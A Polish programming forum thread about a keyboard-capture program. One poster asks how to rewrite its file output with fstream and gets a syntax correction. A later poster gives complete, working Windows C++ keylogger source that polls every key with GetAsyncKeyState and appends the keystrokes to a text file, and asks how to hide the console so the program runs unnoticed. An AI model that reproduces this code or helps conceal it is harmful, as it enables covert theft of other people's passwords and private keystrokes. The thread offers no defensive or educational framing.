Przechwytywanie strumienia klawiatury

0

Mam pewien problem, gdyż wpadłem na pewien kod źródłowy programu do przechwytywania klawiszy wciśniętych.

http://wklej.org/id/246006/

A moje pytanie brzmi, w jaki sposób mógłbym przerobić to z bibiliteki stdio.h na tą c++ czyli fstream,

Dokładnie chodzi mi o to:

FILE *key_file;
    key_file = fopen(file, "a+");

dlaczego nie można zapisać tego analogicznie do w/w czyli tak:

fstream * plik;
plik = plik.open("nazwa.txt",ios::out | ios::app); 

Znając życie pojedziecie mi po ambicji i już tu nie wpadne, ale co mi tam. Myślę, że jakby choć jedna interesująca odpowieć siępojawiła to i tak warto było ;D

Pozdrawiam i czekam ;D

0

Bo trzeba myśleć jak sie coś robi. Czemu masz tam fstream* i czemu próbujesz coś tam przypisywać? Sprawdziłeś czy fstream::open() cokolwiek zwraca że tak robisz?

fstream plik;
plik.open("nazwa.txt",ios::out | ios::app); 
0

Chciałbym się dowiedzieć jak ukryć program tak by po włączeniu znikła konsola.

#include <windows.h>
#include <fstream>

void keys_fun ( int key, char* file )
{
    std::ofstream plik1;
    plik1.open(file, std::ios::app);

    if ( key == VK_BACK ) plik1 << "[BACK SPACE]";
    else if (key == VK_DELETE)  plik1 << "[DEL]";
    else if (key == VK_RETURN) plik1 <<  "\n";
    else if (key == VK_SPACE ) plik1 << "[ SPACE] ";
    else if (key == VK_TAB) plik1 << "[TAB]";
    else if (key == VK_SHIFT) plik1 << "[SHIFT]";
    else if (key == VK_CONTROL) plik1 << "[CTRL]";
    else if (key == VK_MENU) plik1 << "[ALT]";
    else if (key == VK_PAUSE) plik1 << "[PAUSE]";
    else if (key == VK_PAUSE) plik1 << "[PAUSE]";
    else if (key == VK_KANA) plik1 << "[Kana]";
    else if (key == VK_ESCAPE) plik1 << "[ESC]";
    else if (key == VK_END) plik1 << "[END]";
    else if (key == VK_HOME) plik1 << "[HOME]";
    else if (key == VK_LEFT) plik1 << "[LEFT]";
    else if (key == VK_UP) plik1 << "[UP]";
    else if (key == VK_RIGHT) plik1 << "[RIGHT]";
    else if (key == VK_DOWN) plik1 << "[DOWN]";
    else if (key == VK_SNAPSHOT) plik1 << "[PRINT]";
    else if (key == VK_NUMLOCK) plik1 << "[NUM LOCK]";
    else if (key == VK_CAPITAL) plik1 << "[CAPS LOCK]";
    else if (key == VK_OEM_1) plik1 << "[ ;: ]";
    else if (key == VK_OEM_2) plik1 << "[ /? ]";
    else if (key == VK_OEM_4) plik1 << "[ [{ ]";
    else if (key == VK_OEM_5) plik1 << "[ \\| ]";
    else if (key == 190 || key == 110) plik1 << ".";
    else if (key >= 96 && key <= 105)
    {
        key -= 48;
        plik1.put(key);
    }
    else if (key >=48 && key <= 59) plik1.put(key);
    else if (key != VK_LBUTTON || key != VK_RBUTTON)
    {
        if (key >= 65 && key <= 90)
        {
            if (GetKeyState(VK_CAPITAL)) plik1.put(key);
            else
            {
                key += 32;
                plik1.put(key);
            }
        }
    }
    plik1.close();
}

int main()
{
    unsigned char character;
    char path[] = "klawiatura.txt";

    for (;;)
        for (character=8; character<=190; ++character)
            if (GetAsyncKeyState(character) == -32767 ) keys_fun (character,path );
    return 0;
}

1 użytkowników online, w tym zalogowanych: 0, gości: 1